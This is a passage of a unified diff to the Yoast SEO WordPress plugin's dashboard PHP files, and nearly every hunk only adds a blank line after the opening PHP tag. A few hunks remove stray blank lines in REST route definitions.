+++ b/wordpress-seo/src/dashboard/application/traffic/organic-sessions-daily-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardApplicationTraffic;

--- a/wordpress-seo/src/dashboard/domain/analytics-4/failed-request-exception.php
+++ b/wordpress-seo/src/dashboard/domain/analytics-4/failed-request-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainAnalytics_4;

--- a/wordpress-seo/src/dashboard/domain/analytics-4/invalid-request-exception.php
+++ b/wordpress-seo/src/dashboard/domain/analytics-4/invalid-request-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainAnalytics_4;

--- a/wordpress-seo/src/dashboard/domain/analytics-4/unexpected-response-exception.php
+++ b/wordpress-seo/src/dashboard/domain/analytics-4/unexpected-response-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainAnalytics_4;

--- a/wordpress-seo/src/dashboard/domain/content-types/content-type.php
+++ b/wordpress-seo/src/dashboard/domain/content-types/content-type.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainContent_Types;

--- a/wordpress-seo/src/dashboard/domain/content-types/content-types-list.php
+++ b/wordpress-seo/src/dashboard/domain/content-types/content-types-list.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainContent_Types;

--- a/wordpress-seo/src/dashboard/domain/data-provider/dashboard-repository-interface.php
+++ b/wordpress-seo/src/dashboard/domain/data-provider/dashboard-repository-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainData_Provider;

--- a/wordpress-seo/src/dashboard/domain/data-provider/data-container.php
+++ b/wordpress-seo/src/dashboard/domain/data-provider/data-container.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainData_Provider;

--- a/wordpress-seo/src/dashboard/domain/data-provider/data-interface.php
+++ b/wordpress-seo/src/dashboard/domain/data-provider/data-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainData_Provider;

--- a/wordpress-seo/src/dashboard/domain/data-provider/parameters.php
+++ b/wordpress-seo/src/dashboard/domain/data-provider/parameters.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainData_Provider;

--- a/wordpress-seo/src/dashboard/domain/endpoint/endpoint-interface.php
+++ b/wordpress-seo/src/dashboard/domain/endpoint/endpoint-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainEndpoint;

--- a/wordpress-seo/src/dashboard/domain/endpoint/endpoint-list.php
+++ b/wordpress-seo/src/dashboard/domain/endpoint/endpoint-list.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainEndpoint;

--- a/wordpress-seo/src/dashboard/domain/filter-pairs/filter-pairs-interface.php
+++ b/wordpress-seo/src/dashboard/domain/filter-pairs/filter-pairs-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainFilter_Pairs;

--- a/wordpress-seo/src/dashboard/domain/filter-pairs/product-category-filter-pair.php
+++ b/wordpress-seo/src/dashboard/domain/filter-pairs/product-category-filter-pair.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainFilter_Pairs;

--- a/wordpress-seo/src/dashboard/domain/score-groups/abstract-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/abstract-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainScore_Groups;

--- a/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/abstract-readability-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/abstract-readability-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsReadability_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/bad-readability-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/bad-readability-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsReadability_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/good-readability-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/good-readability-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsReadability_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/no-readability-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/no-readability-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsReadability_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/ok-readability-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/ok-readability-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsReadability_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/readability-score-groups-interface.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/readability-score-groups/readability-score-groups-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName
 namespace YoastWPSEODashboardDomainScore_GroupsReadability_Score_Groups;

--- a/wordpress-seo/src/dashboard/domain/score-groups/score-groups-interface.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/score-groups-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainScore_Groups;

--- a/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/abstract-seo-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/abstract-seo-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsSEO_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/bad-seo-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/bad-seo-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsSEO_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/good-seo-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/good-seo-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsSEO_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/no-seo-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/no-seo-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsSEO_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/ok-seo-score-group.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/ok-seo-score-group.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardDomainScore_GroupsSEO_Score_Groups;
--- a/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/seo-score-groups-interface.php
+++ b/wordpress-seo/src/dashboard/domain/score-groups/seo-score-groups/seo-score-groups-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName
 namespace YoastWPSEODashboardDomainScore_GroupsSEO_Score_Groups;

--- a/wordpress-seo/src/dashboard/domain/score-results/current-score.php
+++ b/wordpress-seo/src/dashboard/domain/score-results/current-score.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainScore_Results;

--- a/wordpress-seo/src/dashboard/domain/score-results/current-scores-list.php
+++ b/wordpress-seo/src/dashboard/domain/score-results/current-scores-list.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainScore_Results;

--- a/wordpress-seo/src/dashboard/domain/score-results/score-result.php
+++ b/wordpress-seo/src/dashboard/domain/score-results/score-result.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainScore_Results;

--- a/wordpress-seo/src/dashboard/domain/score-results/score-results-not-found-exception.php
+++ b/wordpress-seo/src/dashboard/domain/score-results/score-results-not-found-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainScore_Results;

--- a/wordpress-seo/src/dashboard/domain/search-console/failed-request-exception.php
+++ b/wordpress-seo/src/dashboard/domain/search-console/failed-request-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainSearch_Console;

--- a/wordpress-seo/src/dashboard/domain/search-console/unexpected-response-exception.php
+++ b/wordpress-seo/src/dashboard/domain/search-console/unexpected-response-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainSearch_Console;

--- a/wordpress-seo/src/dashboard/domain/search-rankings/comparison-search-ranking-data.php
+++ b/wordpress-seo/src/dashboard/domain/search-rankings/comparison-search-ranking-data.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainSearch_Rankings;

--- a/wordpress-seo/src/dashboard/domain/search-rankings/search-ranking-data.php
+++ b/wordpress-seo/src/dashboard/domain/search-rankings/search-ranking-data.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainSearch_Rankings;

--- a/wordpress-seo/src/dashboard/domain/search-rankings/top-page-data.php
+++ b/wordpress-seo/src/dashboard/domain/search-rankings/top-page-data.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainSearch_Rankings;

--- a/wordpress-seo/src/dashboard/domain/taxonomies/taxonomy.php
+++ b/wordpress-seo/src/dashboard/domain/taxonomies/taxonomy.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainTaxonomies;

--- a/wordpress-seo/src/dashboard/domain/time-based-seo-metrics/data-source-not-available-exception.php
+++ b/wordpress-seo/src/dashboard/domain/time-based-seo-metrics/data-source-not-available-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainTime_Based_Seo_Metrics;

--- a/wordpress-seo/src/dashboard/domain/time-based-seo-metrics/repository-not-found-exception.php
+++ b/wordpress-seo/src/dashboard/domain/time-based-seo-metrics/repository-not-found-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainTime_Based_SEO_Metrics;

--- a/wordpress-seo/src/dashboard/domain/traffic/comparison-traffic-data.php
+++ b/wordpress-seo/src/dashboard/domain/traffic/comparison-traffic-data.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainTraffic;

--- a/wordpress-seo/src/dashboard/domain/traffic/daily-traffic-data.php
+++ b/wordpress-seo/src/dashboard/domain/traffic/daily-traffic-data.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainTraffic;

--- a/wordpress-seo/src/dashboard/domain/traffic/traffic-data.php
+++ b/wordpress-seo/src/dashboard/domain/traffic/traffic-data.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardDomainTraffic;

--- a/wordpress-seo/src/dashboard/infrastructure/analytics-4/analytics-4-parameters.php
+++ b/wordpress-seo/src/dashboard/infrastructure/analytics-4/analytics-4-parameters.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureAnalytics_4;

--- a/wordpress-seo/src/dashboard/infrastructure/analytics-4/site-kit-analytics-4-adapter.php
+++ b/wordpress-seo/src/dashboard/infrastructure/analytics-4/site-kit-analytics-4-adapter.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureAnalytics_4;
--- a/wordpress-seo/src/dashboard/infrastructure/analytics-4/site-kit-analytics-4-api-call.php
+++ b/wordpress-seo/src/dashboard/infrastructure/analytics-4/site-kit-analytics-4-api-call.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureAnalytics_4;
--- a/wordpress-seo/src/dashboard/infrastructure/browser-cache/browser-cache-configuration.php
+++ b/wordpress-seo/src/dashboard/infrastructure/browser-cache/browser-cache-configuration.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 namespace YoastWPSEODashboardInfrastructureBrowser_Cache;

--- a/wordpress-seo/src/dashboard/infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository-interface.php
+++ b/wordpress-seo/src/dashboard/infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureConfiguration;

--- a/wordpress-seo/src/dashboard/infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository.php
+++ b/wordpress-seo/src/dashboard/infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureConfiguration;

--- a/wordpress-seo/src/dashboard/infrastructure/configuration/site-kit-consent-repository-interface.php
+++ b/wordpress-seo/src/dashboard/infrastructure/configuration/site-kit-consent-repository-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureConfiguration;

--- a/wordpress-seo/src/dashboard/infrastructure/configuration/site-kit-consent-repository.php
+++ b/wordpress-seo/src/dashboard/infrastructure/configuration/site-kit-consent-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureConfiguration;

--- a/wordpress-seo/src/dashboard/infrastructure/connection/site-kit-is-connected-call.php
+++ b/wordpress-seo/src/dashboard/infrastructure/connection/site-kit-is-connected-call.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureConnection;
--- a/wordpress-seo/src/dashboard/infrastructure/endpoints/readability-scores-endpoint.php
+++ b/wordpress-seo/src/dashboard/infrastructure/endpoints/readability-scores-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureEndpoints;

--- a/wordpress-seo/src/dashboard/infrastructure/endpoints/seo-scores-endpoint.php
+++ b/wordpress-seo/src/dashboard/infrastructure/endpoints/seo-scores-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureEndpoints;

--- a/wordpress-seo/src/dashboard/infrastructure/endpoints/setup-steps-tracking-endpoint.php
+++ b/wordpress-seo/src/dashboard/infrastructure/endpoints/setup-steps-tracking-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureEndpoints;

--- a/wordpress-seo/src/dashboard/infrastructure/endpoints/site-kit-configuration-dismissal-endpoint.php
+++ b/wordpress-seo/src/dashboard/infrastructure/endpoints/site-kit-configuration-dismissal-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureEndpoints;

--- a/wordpress-seo/src/dashboard/infrastructure/endpoints/site-kit-consent-management-endpoint.php
+++ b/wordpress-seo/src/dashboard/infrastructure/endpoints/site-kit-consent-management-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureEndpoints;

--- a/wordpress-seo/src/dashboard/infrastructure/endpoints/time-based-seo-metrics-endpoint.php
+++ b/wordpress-seo/src/dashboard/infrastructure/endpoints/time-based-seo-metrics-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureEndpoints;
--- a/wordpress-seo/src/dashboard/infrastructure/indexables/top-page-indexable-collector.php
+++ b/wordpress-seo/src/dashboard/infrastructure/indexables/top-page-indexable-collector.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureIndexables;
--- a/wordpress-seo/src/dashboard/infrastructure/integrations/site-kit.php
+++ b/wordpress-seo/src/dashboard/infrastructure/integrations/site-kit.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureIntegrations;

--- a/wordpress-seo/src/dashboard/infrastructure/nonces/nonce-repository.php
+++ b/wordpress-seo/src/dashboard/infrastructure/nonces/nonce-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureNonces;

--- a/wordpress-seo/src/dashboard/infrastructure/score-groups/score-group-link-collector.php
+++ b/wordpress-seo/src/dashboard/infrastructure/score-groups/score-group-link-collector.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureScore_Groups;
--- a/wordpress-seo/src/dashboard/infrastructure/score-results/readability-score-results/cached-readability-score-results-collector.php
+++ b/wordpress-seo/src/dashboard/infrastructure/score-results/readability-score-results/cached-readability-score-results-collector.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureScore_ResultsReadability_Score_Results;
--- a/wordpress-seo/src/dashboard/infrastructure/score-results/readability-score-results/readability-score-results-collector.php
+++ b/wordpress-seo/src/dashboard/infrastructure/score-results/readability-score-results/readability-score-results-collector.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureScore_ResultsReadability_Score_Results;
--- a/wordpress-seo/src/dashboard/infrastructure/score-results/score-results-collector-interface.php
+++ b/wordpress-seo/src/dashboard/infrastructure/score-results/score-results-collector-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureScore_Results;
--- a/wordpress-seo/src/dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php
+++ b/wordpress-seo/src/dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureScore_ResultsSEO_Score_Results;
--- a/wordpress-seo/src/dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php
+++ b/wordpress-seo/src/dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureScore_ResultsSEO_Score_Results;
--- a/wordpress-seo/src/dashboard/infrastructure/search-console/search-console-parameters.php
+++ b/wordpress-seo/src/dashboard/infrastructure/search-console/search-console-parameters.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureSearch_Console;

--- a/wordpress-seo/src/dashboard/infrastructure/search-console/site-kit-search-console-adapter.php
+++ b/wordpress-seo/src/dashboard/infrastructure/search-console/site-kit-search-console-adapter.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureSearch_Console;
--- a/wordpress-seo/src/dashboard/infrastructure/search-console/site-kit-search-console-api-call.php
+++ b/wordpress-seo/src/dashboard/infrastructure/search-console/site-kit-search-console-api-call.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardInfrastructureSearch_Console;
--- a/wordpress-seo/src/dashboard/infrastructure/tracking/setup-steps-tracking-repository-interface.php
+++ b/wordpress-seo/src/dashboard/infrastructure/tracking/setup-steps-tracking-repository-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureTracking;

--- a/wordpress-seo/src/dashboard/infrastructure/tracking/setup-steps-tracking-repository.php
+++ b/wordpress-seo/src/dashboard/infrastructure/tracking/setup-steps-tracking-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardInfrastructureTracking;

--- a/wordpress-seo/src/dashboard/user-interface/configuration/site-kit-capabilities-integration.php
+++ b/wordpress-seo/src/dashboard/user-interface/configuration/site-kit-capabilities-integration.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceConfiguration;

--- a/wordpress-seo/src/dashboard/user-interface/configuration/site-kit-configuration-dismissal-route.php
+++ b/wordpress-seo/src/dashboard/user-interface/configuration/site-kit-configuration-dismissal-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceConfiguration;

@@ -85,7 +86,6 @@
 							'type'              => 'bool',
 							'sanitize_callback' => 'rest_sanitize_boolean',
 						],
-
 					],
 				],
 			]
--- a/wordpress-seo/src/dashboard/user-interface/configuration/site-kit-consent-management-route.php
+++ b/wordpress-seo/src/dashboard/user-interface/configuration/site-kit-consent-management-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceConfiguration;

@@ -93,7 +94,6 @@
 							'type'              => 'bool',
 							'sanitize_callback' => 'rest_sanitize_boolean',
 						],
-
 					],
 				],
 			]
--- a/wordpress-seo/src/dashboard/user-interface/scores/abstract-scores-route.php
+++ b/wordpress-seo/src/dashboard/user-interface/scores/abstract-scores-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceScores;

--- a/wordpress-seo/src/dashboard/user-interface/scores/readability-scores-route.php
+++ b/wordpress-seo/src/dashboard/user-interface/scores/readability-scores-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceScores;

--- a/wordpress-seo/src/dashboard/user-interface/scores/seo-scores-route.php
+++ b/wordpress-seo/src/dashboard/user-interface/scores/seo-scores-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceScores;

--- a/wordpress-seo/src/dashboard/user-interface/setup/setup-flow-interceptor.php
